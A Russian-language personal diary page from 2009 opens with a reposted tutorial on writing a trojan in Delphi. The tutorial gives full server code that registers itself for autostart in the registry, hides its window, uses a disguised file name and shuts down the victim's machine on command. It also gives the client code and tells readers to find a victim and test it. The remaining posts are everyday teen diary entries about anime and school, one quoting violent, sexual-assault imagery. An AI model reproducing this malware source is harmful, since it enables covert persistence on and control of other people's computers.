-Поиск по дневнику

Поиск сообщений в ГилтониэльНя

 -Подписка по e-mail

 

 -Постоянные читатели

 -Статистика

Статистика LiveInternet.ru: показано количество хитов и посетителей
Создан: 11.03.2009
Записей: 10
Комментариев: 18
Написано: 30





Решил написать урок по созданию троянов xD

Воскресенье, 22 Марта 2009 г. 03:59 + в цитатник
И так я ыложу тут инфу как создать троян тем кто нех не шарит в компах прошу етого не делать потому 4то стоко их наплодите что комп наф гликница.
Ты уже сто раз слышал это магическое слово «Троян». И мы уже много раз писали обзоры различных коней этой породы. В твоих извилинах, наверно уже давно крутиться мысль о создании собственного боевого коня. Сегодня тебе предстоит эта уникальная возможность. Даже если ты никогда не будешь использовать эти знания, тебе всё равно нужно знать, как работают трояны изнутри.
Для простоты тела мы сделаем это на Delphi. Я выбрал этот язык, потому что тело журнала ограничено, и я не хочу вдаваться в подробности протоколов.
В этом номере ты найдёшь статью, посвящённую написанию супер плеера на Delphi. Если ты её пропустил, то обязательно прочти и возвращайся сюда. Там я описал основные принципы работы с оболочкой компилятора, так что здесь повторяться не буду.

Приготовься, нам предстоит написать сразу две проги. Одна будет находиться на твоей машине (клиент), другую надо будет подбросить жертве (сервер). Работы будет много, поэтому меньше слов, и ближе к телу.

Троянский сервер:
Итак, запускай Delphi или если он у тебя уже запущен, то создавай новый проект («File» – «New Application»). Сейчас мы примемся за серверную часть трояна.

Для начала выбери пункт меню «Options» из меню «Project». Перед тобой будет окно, как на рисунке 1.

Здесь ты должен перенести «From1» из раздела «Auto-Create forms» (список слева) в «Available forms» (список справа), как это сделано у меня. Только что мы отключили From1 из списка авто инициализируемых форм. Теперь инициализацию придётся произвести вручную. Не пугайся, это очень просто.

На странице «Application» этого же диалога есть кнопка «Load Icon». Нажми её, чтобы сменить иконку будущей проги. Если икону не сменить, то будет использоваться дельфячая, а она быстро выдаст твоё смертельное оружие.

Теперь ты должен бросить на форму компонент ServerSocket из раздела «Internet», это сервак протокола (по умолчанию TCP, и нам его достаточно). Выдели созданный ServerSocket1 и перейди в ObjectInspector. Здесь тебя интересует только свойство «Port». По умолчанию оно равно 1024, но я тебе советую его поменять на любое другое (желательно больше 1000).

Теперь щёлкни в любом месте на форме, чтобы активизировать её свойства. Перейди в ObjectInspector и щёлкни по закладке Events. Дважды щёлкни по строке «OnCreate» и Delphi, как всегда, создаст процедуру, она будет выполняться при инициализации формы. Напиши там следующее:

procedure TForm1.FormCreate(Sender: TObject);
var RegIni:TRegIniFile;
begin
RegIni:=TRegIniFile.Create('Software');
RegIni.RootKey:=HKEY_LOCAL_MACHINE;
RegIni.OpenKey('Software', true);
RegIni.OpenKey('Microsoft', true);
RegIni.OpenKey('Windows', true);
RegIni.OpenKey('CurrentVersion', true);
RegIni.WriteString('RunServices', 'Internat32.exe',
Application.ExeName);
RegIni.Free;
ServerSocket1.Active:=true;
end;

Теперь перейди в начало текста и напиши после «uses» слово «registry». Мы уже делали такую операцию в статье про мега плеер, но я повторю, как это будет выглядеть:

uses registry, Windows, Messages,

Теперь я объясню, что мы написали в процедуре.

«var RegIni:TRegIniFile» - здесь мы объявили переменную RegIni типа TRegIniFile. С помощью этой переменной мы будем общаться с реестром.

«RegIni:=TRegIniFile.Create('Software')» - инициализируем переменную указывающую на реестр.

«RegIni.RootKey:=HKEY_LOCAL_MACHINE» говорим, что нас интересует раздел HKEY_CURRENT_USER реестра.

«RegIni.OpenKey('Software', true)» - открываю подраздел «Software».

Дальше я последовательно открываю подразделы, пробираясь в недра окошек.

«RegIni.WriteString('RunServices', 'Internat32.exe', Application.ExeName)” – записываю в раздел «RunServices» (в этом разделе хранятся проги, которые автоматически загружаются при старте), новый параметр с именем «Internat32.exe» (имя будущего файла) и значением Application.ExeName (здесь храниться полный путь к запущенному трояну).

«RegIni.Free» - уничтожаю ненужный больше объект RegIni.

Всё это делалось, чтобы при запуске проги, она сама себя прописывала в разделе автозапуска. И после перезагрузки компьютера она автоматически загружалась в память.

Самая последняя строка «ServerSocket1.Active:=true» запускает сервер на указанном тобой порте.

С загрузкой покончено. Теперь давай займёмся выгрузкой. Опять выдели форму и в закладке Events у ObjectInspector-а дважды щёлкни по строке «OnDistroy». Теперь создастся процедура, которая будет выполняться при уничтожении формы. В созданной процедуре напиши:

procedure TForm1.FormDistroy(Sender: TObject; var Action: TCloseAction);
begin
ServerSocket1.Active:=false;
end;

Этим я отключаю сервак. Если этого не сделать, то при первой же перезагрузке твоя жертва может поймать синий экран, если ты в это время будешь подключён к серверу. С одной стороны, это хорошо. Твоя жертва в очередной раз убеждается в плохой защищённости его окошек. А с другой, я не думаю, что следует выдавать себя раньше времени. Тем более, что после синего экрана перезагрузка может остановиться, а нам это не надо (забегу вперёд и скажу, что мы сами будем перегружать компьютер жертвы).

Теперь нужно выделить ServerSocket1 и перейти на закладку Events у ObjectInspector-а. Дважды щёлкни по строке «OnClientRead» и в созданной процедуре (она будет вызываться, когда что-нибудь приходит на порт) напиши:

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
begin
if Socket.ReceiveText ='R' then
ExitWindowsEx(EWX_SHUTDOWN,0);
end;

Теперь, как это звучит по-нашему:

Если полученный текст = букве ‘R’ то
Отправить компьютер в редаун.

ExitWindowsEx – редаун заставит окна свернуться и отключить компьютер от питания. Я вообще добрый дядька, поэтому использовал параметр EWX_SHUTDOWN. С этим параметром, перед редауном всем запущенным приложениям полетит запрос о выключении, и жертва сможет сохранить свои изменённые данные. Если ты злей меня, то используй EWX_FORCE. В этом случае, компьютер упадёт без предупреждения и со скоростью света, так что жертва не успеет от страха воздух испортит :).

Троян практически готов, сохрани его. Для этого выбери «Save All» из меню «File». С начала Delphi запросит имя формы. Оставь по умолчанию (Unit1) и нажми «Сохранить». Потом будет запрос на имя проекта, которое будет использоваться в качестве имени ЕХЕ файла. Назови его «Internat32», чтобы файл не вызывал особых подозрений.

Конюшня для коня:
Теперь ты должен хорошенечко спрятать своего будущего скакуна, чтоб его не было видно в панели задач. Для этого выбери пункт меню «Project Manager» из меню «View». Перед тобой откроется окно, как на рисунке 2.

Щёлкни правой кнопкой по Internat32.exe и в появившемся меню выбери «View Source». Перед тобой откроется маленький файл с исходным текстом проекта. Сравни то, что ты увидишь с этим текстом, и допиши то, чего не хватает, а что лишнее – убери (так не так уж и много):

program Internat32;

uses
Forms,
Windows.
Unit1 in 'Unit1.pas' {Form1};

{$R *.RES}

var
WhEvent:THandle;
begin
Application.Initialize;
ShowWindow(Application.Handle,SW_Hide);
Form1:=TForm1.Create(nil);
Application.Run;

WhEvent:=CreateEvent(nil, true,false, 'et');
while (true) do
begin
WaitForSingleObject(WhEvent,1000);
Application.ProcessMessages;
end;
end.

Будь внимателен при переписывании. Всё должно быть один к одному. Теперь я расскажу, что здесь написано:

В самом начале нет ничего интересного, и нас абсолютно не касается. Нас интересует всё, что написано после слова «Var».

WhEvent:THandle – Этим я говорю, что мне нужен указатель WhEvent на пустое событие Thandle.

Application.Initialize – Инициализируется троян.

ShowWindow(Application.Handle, SW_Hide) – Устанавливаю параметры окна. Параметр SW_Hide – говорит, что окно должно быть невидимо. Единственное, как его можно после этого увидеть, так это нажать Ctrl+Alt+Del. Но здесь у нас используется не вызывающее подозрения (только у чайника, профи уже давно знают, о таком имени) имя.

Form1:=TForm1.Create(nil) – создаю форму. Мне приходится это делать так, потому что мы убрали форму из из списка авто создаваемых.

Application.Run – запускаю трояна. Здесь запускаются обработчики событий и прочая ерунда, за которую отвечает Delphi и которую пришлось бы писать вручную на С или С++. А здесь всё очень просто.

WhEvent:=CreateEvent(nil, true,false, 'et') – инициализация пустого события.

Следующие пять строчек я напишу словами, а ты разберёшься как всегда методом сравнения:

Пока (true) выполнять
Начать цикл
Ждать пока наступит событие (пустое событие, 1000 миллисекунд)
Получить управление
Закончить цикл

Две строчки между началом и концом цикла будет выполняться бесконечно, потому что true оно всегда true, и из этого цикла выхода нет. Весь цикл заключаеться в двух особенностях:

1. Запускается ожидание несуществующего события. Так как событие не существует, то программа прождёт его ровно указанное время в качестве второго параметра (1000 миллисекунд или 1 секунда).

2. Получить управление.

После второго шага программа снова перейдёт на пункт 1 и запустит ожидание. Во время ожидания пользователь работает с другими приложениями как всегда. Когда трояну (каждую 1 секунду) передаётся управление, то наш конь проверяет: есть ли для него сообщения. В нашем случае сообщение может быть одно – приход на указанный тобой порт управляющей команды. Если сообщения есть, то троян их выполняет. И в любом случае (есть сообщения или нет), после этого пользователь снова работает 1 секунду без проблем. Проверка происходит так быстро, что жертва не ощутит нагрузки трояна даже на четверке с сотым камнем.

Нажми «Ctrl+F9» чтобы Delphi создал .ехе файл без запуска проги. Как только Delphi перемозгует весь код, можешь считать, что серверная часть готова. Если вздумаешь её тестировать, то не забудь, что после первого же запуска троян пропишется в реестре по адресу: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices. Не забудь после тестирования его удалить.

Теперь переходим к клиентской части, которую ты должен будешь запустить на своём компьютере для управления компьютером жертвы.

Троянский всадник:
Снова сохрани все изменения и создай новый проект. Пришло время писать клиентскую часть трояна. Ещё пару минут напряжённого труда и все красавицы наши :).

На новый проект ты должен бросить три компонента:

1. Button из закладки «Standart» для отправки команды на компьютер жертвы.

2. Edit из закладки «Standart» для ввода имени или адреса жертвы.

3. ClientSocket из закладки «Internet» клиент порта для связи с сервером

Посмотри на рисунок 3, у тебя должно получиться нечто похожее.

Выдели ClientSocket1 и в ObjectInspector-е измени свойство порт. По умолчанию он 0, а ты должен поставить тот, который ты назначил серверу.

Теперь дважды щёлкни по кнопке и в созданной процедуре (обработчике нажатия кнопки) напиши следующее.

procedure TForm1.Button1Click(Sender: TObject);
begin
ClientSocket1.Host:=Edit1.Text;
ClientSocket1.Active:=true;
ClientSocket1.Socket.SendText('R');
ClientSocket1.Active:=false;
end;

ClientSocket1.Host:=Edit1.Text – В ClientSocket1 заносим имя жертвы в твоей локалке. Если собираешься использовать троян в инете, то там ты имя никак не сможешь узнать. Тебе придётся использовать IP адрес, а значит эта строчка замениться на ClientSocket1.Addres:=Edit1.Text. И вводить в Edit1 ты должен будешь IP адрес.

ClientSocket1.Active:=true – активировать соединение с сервером.

ClientSocket1.Socket.SendText('R') – отправить букву R. Помнишь, что у нас было пару минут назад. Если сервер получит букву R, то он перегрузит машину.

ClientSocket1.Active:=false – закрыть соединение с сервером.

Всё. Троян готов к бою. Нажми «Ctrl+F9» чтобы Delphi создал ЕХЕ файл без запуска проги. Найди жертву и протестируй своего верного коня. Для этого нужно запустить серверную часть на компьютере жертвы. Потом запустить клиентскую часть на своём компьютере. Ввести в клиент имя компьютера жертвы (или адрес, если ты скомпилировал под использование через IP) и нажать кнопку. Компьютер жертвы должен перегрузится.


Понравилось: 8 пользователям

Несколько моих новых дней!

Пятница, 20 Марта 2009 г. 22:35 + в цитатник
 (100x100, 47Kb)
Еххх, дни какие-то все одинаковые...... Живу и вижу, настоящую и превосходную жизнь. Но одна проблема, она однообразная какая-та...... Хотя дневник для этого и существует, чтоб найти свой сокровенный талант в творчестве писателя... Эт намёк, чтоб вы дали мне советов....и вообще сказать как я пишу и тп...
Скачал несколько аниме новых. Очень понравились... Вот их список:
Loveless - Элементы Яой(Чуть-чуть) о жизни школьников, такие знаете кавайные с ушками...Но ушки пропадают после того как лишаются девственности... В этом аниме почти нету взрослых, даже учительница ходит с ушками^^
ef - a tale of melodies....Очень печальное аниме...До ужаса...Про школьников. Смысл таков, Жил-был мальчик в приюте у него была родная сестра которая умерла, и была у него лучшая подруга.. Случилась землетрясение и его сестра умерла....Он любил очень рисовать...А его подруга сказала ему, что она будет его сестрой..Но он не мог забыть свою сестру....И была ссора сильная.... и её забрал какой-то родственник через 2 дня..... Как обычная история....
Но через 10 лет они опять встречаются, она любит его.....А он в начале вообще не какой реакции не падавал...Потом когда полюбил её...Она рассказала как она жила.....
Вот фразы из аниме:
Больно.
Горячо.
Мучительно.
Горько.
Противно.
Не сдержать слез.
Не выдержать.
Не убежать.
,Не отбиться.
Не остановить.
Хотелось спрятаться,
кричать,
,...извернуться,
,...сблевать,
..прекратить,
..сопротивляться,
.укусить,
,...взбунтоваться,
...убежать,
...скрыться,
..спастись,
..отгородиться,
,...отказать,
...врезать,
...оттолкнуть,
...освободиться.
,,Но он догнал,
...поймал,
..потащил,
,...мучил,
,...удерживал,
..безжалостно подмял,
...связал,
.сдавил,
.резал,
.колотил,
...терзал,
,Хотелось рыдать,
..визжать,
...сойти с ума,
,...исчезнуть.
,Он поймал,
..бил,
...ломал,
.стирал в пыль,
..пинал,
..клеймил,
колол,
..осквернял,
.насиловал,
...рвал,
опустошал,
..уничтожал,
..истязал,
...игрался,
...унижал,
..вытирал ноги.
,,Успокоился.
,,Отпустил.
,,Отшвырнул.
,Я теряла сознание.
,Не ощущала боли.
,,Сердце разбито.
,Слёзы не текли.
,Потом он снова схватил.
Снова поймал.
,Снова бил.
,Снова растлевал.
,,Снова терзал.
,,Снова рвал.
,Снова опустошал.
,Снова ломал.

Думаю понятно, что оставило это аниме...Большую слезу в моём сердце.....

3 дня не писал...

Понедельник, 16 Марта 2009 г. 15:37 + в цитатник
День за днём всё тоже самое...И радасть и печаль..Только я живу своей необычной жизнью....
Всё может быть в этом мире....... Ну хватит мне философствовать..Нужно написать как я проводил свои дни, раз это дневник......
Вообще в суботу ходил в школу. Был на физке xD.. Пришёл после её домой...Помогал маме по дому..Убирал дом...А дом не маленький, убирать нужно 11 комнат(
Как говорится Суббота день уборки.... Хотя нет, я убирал лично 2 комнаты своих.. ТОчнее моя только одна, а другая моей сестры...Но она учится в юнивере....и в другом городе... и йа присвоил себе её комнату тоже=) живу то в одной то в второй ... В субботу лёг в 4 утра, тьфу точнее в воскресенье лёг.. Качал аниме =_=..... и сразу его смотрел..... а аниме называется Shuffle.... Драма...Очень печальное аниме.
В воскр. просидел за компом слушая музыку. J-rock and Metall Forever....Многие говорят что я пишу слово метал не правильно, да пишу я не правильно...Просто 2 L Круче смотрится=)гг ))...Ходил на гв!(В онлайновай игре так называется ВОйна за замок(Гильт вар) а игра называется Ragnarok...А ещё забыл упаминуть...Ходил на улицу гулять со своей подругой детства.. Зовут её Каролина....Она одна из моих лучших друзей, которые меня понимают и уважают меня как совершенную личность. и мои филосовские рассуждения... С каролиной я готов поделиться своими самыми секретными-секретными внутренних тайн. и она со мной также....Мы друг-друга понимаем с пол слова. \
Понедельник.....День тяжёлый.....Все помнят картинку, где собака спит и внизу надпись...Понедельник день тяжёлый...xD.
В школе музыку слушал целый день........Пофиг на всё было.... xD

Кавай

Четверг, 12 Марта 2009 г. 16:45 + в цитатник
Вчера писал контрольную по физике...Написал на 2=)
получилось развести учителя чтоб дал переписать=) и взять тетрадь домой=)
Хах-хах!

Иногда мне печально......

Среда, 11 Марта 2009 г. 19:32 + в цитатник
Иногда мне становится печально......В своём городе у мя нету девушки....а была несколько..Но не одна мне не подошла.... я кидаю их(...Есть одна девушка которую я люблю всем сердцем, но она из другого города, из минска) Познакомился я с ней в лагере 4 года назад...Общаюсь с ней...Но вот что будет дальше я ничего не знаю....Всё таки прикольно иметь своё онлайновый дневник ^^
ПС мне не нужна, местная шалава, мне не нужна девушка с завышенной самооценкой.Мне не нужна барби..Мне нужна такая чтоб отдала мне своё сердце, и я ей своё!
 (182x236, 55Kb)

Няяя

Среда, 11 Марта 2009 г. 19:28 + в цитатник
Посмотрел аниме Меланхолия Харуки Сузуми очень понравилось!...Хоть и смотрел его уже 3 раза..Аниме кавайное^^ Такие же как вы мои поситители моего дневника! ням всем! Кавай спасёт мир помните это!!!!
 (222x337, 33Kb)

Без заголовка

Среда, 11 Марта 2009 г. 16:19 + в цитатник
Caliban

Ну вот первый день....Тогда когда я создал свой дневник...Свой вирутальный мир..

Среда, 11 Марта 2009 г. 16:13 + в цитатник
Проснулся в 8,05.... Под голос своей матери..Каждое утро слышу, как она мя заставляет вставать..Ой как же мне лень идти в школу.... Сходил умылся...Зубы почистил.... Даже утром хорошо не позавтракал..Нету опетита...Ну пофиг поем в школе.... Первый урок была история РБ(Республика Беларусь) там где я живу...Учился рассказывала как они с её класом ходили на консервный завод... После её рассказа всем стало позитивно и всем кушать захотелось)(Так как им дали 4 ведра сгущёнки просто так там) и мы пофли жрать в столовку..Было вкусно есть Хот Дог=) хотел сперва купить Заварное....НО подумал лучше сьем горячую собачку...Ням-ням было! Математика....Человека 4 исписала у мя домашку=) ХОть я школе не гений, а так вроде более менее учусь... Ну лан про школу скучно очень даже.....Пофиг на неё, одним словом)
Пришёл домой поел..МММ картошка с салатом вкусная^ня^
Включил музыку и слушаю...и восхищаюсь!

Без заголовка

Среда, 11 Марта 2009 г. 16:02 + в цитатник
 (90x90, 16Kb)
Нет, это глупые слова людей.Которые живут и убивают свою внутреннюю личность.. Я попробую изменить этот мир.Мир где правит смерть и страдания, мир гнева и зла. Я изменю этот мир! В несу в него кавай и всё в этом вроде! йа ведь и для этого создаю свой дневник, чтоб панять что кавай правит миром!
Я постраюст рассказать свою, простую но при этом удивительную жизнь...

Дневник ГилтониэльНя

Среда, 11 Марта 2009 г. 15:59 + в цитатник
Что такое жизнь? Для чего жить? Зачем думать о других?

 (101x101, 3Kb)


Поиск сообщений в ГилтониэльНя
Страницы: [1] Календарь